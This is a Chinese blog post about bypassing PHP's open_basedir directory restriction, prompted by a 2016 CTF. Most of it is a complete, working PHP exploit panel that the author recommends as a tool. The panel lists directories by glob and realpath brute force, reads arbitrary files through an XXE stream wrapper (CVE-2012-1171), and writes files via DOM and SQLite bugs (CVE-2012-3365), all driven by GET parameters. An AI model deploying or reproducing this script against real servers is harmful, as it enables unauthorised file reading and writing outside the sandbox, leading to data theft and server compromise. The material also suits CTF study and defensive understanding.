绕过open_basedir读文件脚本
绕过open_basedir读文件脚本
参加了一场2016年的sycsec感觉又学到不少东西
废话不多说,首先啥是open_basedir?
open_basedir: 将用户可操作的文件限制在某目录下
具体的设置方法可以参考:http://blog.csdn.net/white__cat/article/details/32734343
这样设置之后,原则上被限制之外的目录是无法读写文件的,但是有一个漏洞却打破了这个限制
参考p牛的文章:https://www.leavesongs.com/bypass-open-basedir-readfile.html
但是p牛给的脚本报错,老是读不到文件,这里我在比赛服务器里面找到一个神器的脚本可以成功,下面是那个神奇的php:
- <?php
- /*
- PHP open_basedir bypass collection
- Works with >= PHP5
- By /fd, @filedescriptor(https://twitter.com/filedescriptor)
- */
- // Assistant functions
- function getRelativePath($from, $to) {
- // some compatibility fixes for Windows paths
- $from = rtrim($from, '\/') . '/';
- $from = str_replace('\\', '/', $from);
- $to = str_replace('\\', '/', $to);
- $from = explode('/', $from);
- $to = explode('/', $to);
- $relPath = $to;
- foreach ($from as $depth => $dir) {
- // find first non-matching dir
- if ($dir === $to[$depth]) {
- // ignore this directory
- array_shift($relPath);
- } else {
- // get number of remaining dirs to $from
- $remaining = count($from) - $depth;
- if ($remaining > 1) {
- // add traversals up to first matching dir
- $padLength = (count($relPath) + $remaining - 1) * -1;
- $relPath = array_pad($relPath, $padLength, '..');
- break;
- } else {
- $relPath[0] = './' . $relPath[0];
- }
- }
- }
- return implode('/', $relPath);
- }
- function fallback($classes) {
- foreach ($classes as $class) {
- $object = new $class;
- if ($object->isAvailable()) {
- return $object;
- }
- }
- return new NoExploit;
- }
- // Core classes
- interface Exploitable {
- function isAvailable();
- function getDescription();
- }
- class NoExploit implements Exploitable {
- function isAvailable() {
- return true;
- }
- function getDescription() {
- return 'No exploit is available.';
- }
- }
- abstract class DirectoryLister implements Exploitable {
- var $currentPath;
- function isAvailable() {}
- function getDescription() {}
- function getFileList() {}
- function setCurrentPath($currentPath) {
- $this->currentPath = $currentPath;
- }
- function getCurrentPath() {
- return $this->currentPath;
- }
- }
- class GlobWrapperDirectoryLister extends DirectoryLister {
- function isAvailable() {
- return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers());
- }
- function getDescription() {
- return 'Directory listing via glob pattern';
- }
- function getFileList() {
- $file_list = array();
- // normal files
- $it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");
- foreach ($it as $f) {
- $file_list[] = $f->__toString();
- }
- // special files (starting with a dot(.))
- $it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");
- foreach ($it as $f) {
- $file_list[] = $f->__toString();
- }
- sort($file_list);
- return $file_list;
- }
- }
- class RealpathBruteForceDirectoryLister extends DirectoryLister {
- var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_'
- , $extension = array()
- , $charactersLength = 38
- , $maxlength = 3
- , $fileList = array();
- function isAvailable() {
- return ini_get('open_basedir') && function_exists('realpath');
- }
- function getDescription() {
- return 'Directory listing via brute force searching with realpath function.';
- }
- function setCharacters($characters) {
- $this->characters = $characters;
- $this->charactersLength = count($characters);
- }
- function setExtension($extension) {
- $this->extension = $extension;
- }
- function setMaxlength($maxlength) {
- $this->maxlength = $maxlength;
- }
- function getFileList() {
- set_time_limit(0);
- set_error_handler(array(__CLASS__, 'handler'));
- $number_set = array();
- while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {
- $this->searchFile($number_set);
- }
- sort($this->fileList);
- return $this->fileList;
- }
- function nextCombination($number_set, $length) {
- if (!isset($number_set[$length])) {
- $number_set[$length] = 0;
- return $number_set;
- }
- if ($number_set[$length] + 1 === $this->charactersLength) {
- $number_set[$length] = 0;
- $number_set = $this->nextCombination($number_set, $length + 1);
- } else {
- $number_set[$length]++;
- }
- return $number_set;
- }
- function searchFile($number_set) {
- $file_name = 'a';
- foreach ($number_set as $key => $value) {
- $file_name[$key] = $this->characters[$value];
- }
- // normal files
- realpath($this->getCurrentPath() . $file_name);
- // files with preceeding dot
- realpath($this->getCurrentPath() . '.' . $file_name);
- // files with extension
- foreach ($this->extension as $extension) {
- realpath($this->getCurrentPath() . $file_name . $extension);
- }
- }
- function handler($errno, $errstr, $errfile, $errline) {
- $regexp = '/File(.∗)(.∗) is not within/';
- preg_match($regexp, $errstr, $matches);
- if (isset($matches[1])) {
- $this->fileList[] = $matches[1];
- }
- }
- }
- abstract class FileWriter implements Exploitable {
- var $filePath;
- function isAvailable() {}
- function getDescription() {}
- function write($content) {}
- function setFilePath($filePath) {
- $this->filePath = $filePath;
- }
- function getFilePath() {
- return $this->filePath;
- }
- }
- abstract class FileReader implements Exploitable {
- var $filePath;
- function isAvailable() {}
- function getDescription() {}
- function read() {}
- function setFilePath($filePath) {
- $this->filePath = $filePath;
- }
- function getFilePath() {
- return $this->filePath;
- }
- }
- // Assistant class for DOMFileWriter & DOMFileReader
- class StreamExploiter {
- var $mode, $filePath, $fileContent;
- function stream_close() {
- $doc = new DOMDocument;
- $doc->strictErrorChecking = false;
- switch ($this->mode) {
- case 'w':
- $doc->loadHTML($this->fileContent);
- $doc->removeChild($doc->firstChild);
- $doc->saveHTMLFile($this->filePath);
- break;
- default:
- case 'r':
- $doc->resolveExternals = true;
- $doc->substituteEntities = true;
- $doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE);
- echo $doc->documentElement->firstChild->nodeValue;
- }
- }
- function stream_open($path, $mode, $options, &$opened_path) {
- $this->filePath = substr($path, 10);
- $this->mode = $mode;
- return true;
- }
- public function stream_write($data) {
- $this->fileContent = $data;
- return strlen($data);
- }
- }
- class DOMFileWriter extends FileWriter {
- function isAvailable() {
- return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
- }
- function getDescription() {
- return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.';
- }
- function write($content) {
- // set it to global resource in order to trigger RSHUTDOWN
- global $_DOM_exploit_resource;
- stream_wrapper_register('exploit', 'StreamExploiter');
- $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w');
- fwrite($_DOM_exploit_resource, $content);
- }
- }
- class DOMFileReader extends FileReader {
- function isAvailable() {
- return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
- }
- function getDescription() {
- return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.';
- }
- function read() {
- // set it to global resource in order to trigger RSHUTDOWN
- global $_DOM_exploit_resource;
- stream_wrapper_register('exploit', 'StreamExploiter');
- $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r');
- }
- }
- class SqliteFileWriter extends FileWriter {
- function isAvailable() {
- return is_writable(getcwd())
- && (extension_loaded('sqlite3') || extension_loaded('sqlite'))
- && (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4));
- }
- function getDescription() {
- return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted';
- }
- function write($content) {
- $sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase';
- mkdir(':memory:');
- $payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath());
- $payload = str_replace('\'', '\'\'', $content);
- $database = new $sqlite_class(":memory:/{$payload_path}");
- $database->exec("CREATE TABLE foo (bar STRING)");
- $database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')");
- $database->close();
- rmdir(':memory:');
- }
- }
- // End of Core
- ?>
- <?php
- $action = isset($_GET['action']) ? $_GET['action'] : '';
- $cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd();
- $cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
- $directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister'));
- $fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter'));
- $fileReader = fallback(array('DOMFileReader'));
- $append = '';
- ?>
- <style>
- #panel {
- height: 200px;
- overflow: hidden;
- }
- #panel > pre {
- margin: 0;
- height: 200px;
- }
- </style>
- <div id="panel">
- <pre id="dl">
- open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
- <form style="display:inline-block" action="">
- <fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go">
- <?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?>
- <?php
- $characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters;
- $maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength;
- $append = "&characters={$characters}&maxlength={$maxlength}";
- $directorLister->setMaxlength($maxlength);
- ?>
- Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>">
- Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>">
- <?php endif;?>
- Description : <strong><?php echo $directorLister->getDescription(); ?></strong>
- </fieldset>
- </form>
- </pre>
- <?php
- $file_path = isset($_GET['file_path']) ? $_GET['file_path'] : '';
- ?>
- <pre id="rf">
- open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
- <form style="display:inline-block" action="">
- <fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read">
- Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf">
- </fieldset>
- </form>
- </pre>
- <pre id="wf">
- open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
- <form style="display:inline-block" action="">
- <fieldset><legend>Write File :</legend>File Path : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write">
- File Content: <textarea cols="70" name="content"></textarea>
- Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf">
- </fieldset>
- </form>
- </pre>
- </div>
- <a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a>
- <hr>
- <pre>
- <?php if ($action === 'rf'): ?>
- <plaintext>
- <?php
- $fileReader->setFilePath($file_path);
- echo $fileReader->read();
- ?>
- <?php elseif ($action === 'wf'): ?>
- <?php
- if (isset($_GET['content'])) {
- $fileWriter->setFilePath($file_path);
- $fileWriter->write($_GET['content']);
- echo 'The file should be written.';
- } else {
- echo 'Something goes wrong.';
- }
- ?>
- <?php else: ?>
- <ol>
- <?php
- $directorLister->setCurrentPath($cwd);
- $file_list = $directorLister->getFileList();
- $parent_path = dirname($cwd);
- echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>";
- if (count($file_list) > 0) {
- foreach ($file_list as $file) {
- echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>";
- }
- } else {
- echo 'No files found. The path is probably not a directory.';
- }
- ?>
- </ol>
- <?php endif;?>
绕过open_basedir读文件脚本的更多相关文章
- php5全版本绕过open_basedir读文件脚本
这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目.所以也没拿到JAE.SAE测试一下. 不说 ...
- [转] Bash脚本:怎样一行行地读文件(最好和最坏的方法)
用bash脚本读文件的方法有很多.请看第一部分,我使用了while循环及其后的管道命令(|)(cat $FILE | while read line; do … ),并在循环当中递增 i 的值,最后, ...
- php绕过open_basedir设置
原理关于open_basedir open_basedir是php.ini中的一个配置选项 它可将用户访问文件的活动范围限制在指定的区域, 假设open_basedir=/home/ ...
- GoLang几种读文件方式的比较
GoLang提供了很多读文件的方式,一般来说常用的有三种.使用Read加上buffer,使用bufio库和ioutil 库. 那他们的效率如何呢?用一个简单的程序来评测一下: package main ...
- Python之路 day2 按行读文件
#1. 最基本的读文件方法: # File: readline-example-1.py file = open("sample.txt") while 1: line = fil ...
- LoadRunner下载文件脚本
LoadRunner下载文件脚本 在看普泽关于pezybase的测试报告的时候,发现里面有用到jmeter(http协议)并发测试下载文件,考虑到后面可能需要在公司pezybase的并发下载,把之前 ...
- java的读文件操作
java读取文件内容,可以作如下理解: 首先获得一个文件句柄,File file = new File():file即为文件句柄.两人之间联通电话网络了,就可以开始打电话了. 通过这条线路读取甲方的信 ...
- PHP使用feof()函数读文件的方法
这篇文章主要介绍了PHP使用feof()函数读文件的方法,以实例形式对比了正确与错误的用法,阐明了feof()函数的使用技巧,需要的朋友可以参考下 本文实例讲述了PHP使用feof()函数读文件的方法 ...
- Java基础之读文件——使用输入流读取二进制文件(StreamInputFromFile)
控制台程序,读取Java基础之读文件部分(StreamOutputToFile)写入的50个fibonacci数字. import java.nio.file.*; import java.nio.* ...
随机推荐
- kafka集群安装配置
1.下载安装包 2.解压安装包 3.进入到kafka的config目录修改server.properties文件 进入后显示如下: 修改log.dirs,基本上大部分都是默认配置 kafka依赖zoo ...
- go语言中在变量后加上接口是什么意思?
如题刚刚开始学习go 语言有些不懂: a.Data = make(map[string]interface{}) 我认为它是在申请a.Data map为字符串类型的空间,那么它后面接一个空的inter ...
- UI Framework-1: Aura Layout Managers
Layout Managers LayoutManager is a convenient abstraction that separates messy layout heuristics fro ...
- highGUI图形用户界面
#include <opencv2\core\core.hpp> #include <opencv2\highgui\highgui.hpp> using namespace ...
- [Bug]Python3.x AttributeError: libtest.so: undefined symbol: fact
写kNN,需要在python中实现kd-tree 思考了一下,在python下写这种算法类的东西,还是十分别扭 于是希望用ctypes调用一下c++动态加载库 于是尝试实现一下 // test.cpp ...
- [NOIP2014提高组]寻找道路
题目:洛谷P2296.Vijos P1909.codevs3731.UOJ#19. 题目大意:给你一张有向图,边权为1,让你找一条s到t的最短路径,但这条路径上所有点的出边所指向的点都与终点连通.如果 ...
- 紫书 例题 10-20 UVa 10900(连续概率)
分两类,当前第i题答或不答 如果不回答的话最大期望奖金为2的i次方 如果回答的话等于p* 下一道题的最大期望奖金 那么显然我们要取最大值 所以就要分类讨论 我们设答对i题后的最大期望奖金为d[i] 显 ...
- 【Codeforces Round #423 (Div. 2) A】Restaurant Tables
[Link]:http://codeforces.com/contest/828/problem/A [Description] 有n个组按照时间顺序来餐馆; 每个组由一个人或两个人组成; 每当有一个 ...
- Runtime类中的freeMemory,totalMemory,maxMemory等几个方法
最近在网上看到一些人讨论到Java.lang.Runtime类中的freeMemory(),totalMemory(),maxMemory ()这几个方法的一些题目,很多人感到很迷惑,为什么,在jav ...
- android CoordinatorLayout使用
一.CoordinatorLayout有什么作用 CoordinatorLayout作为“super-powered FrameLayout”基本实现两个功能: 1.作为顶层布局 2.调度协调子布局 ...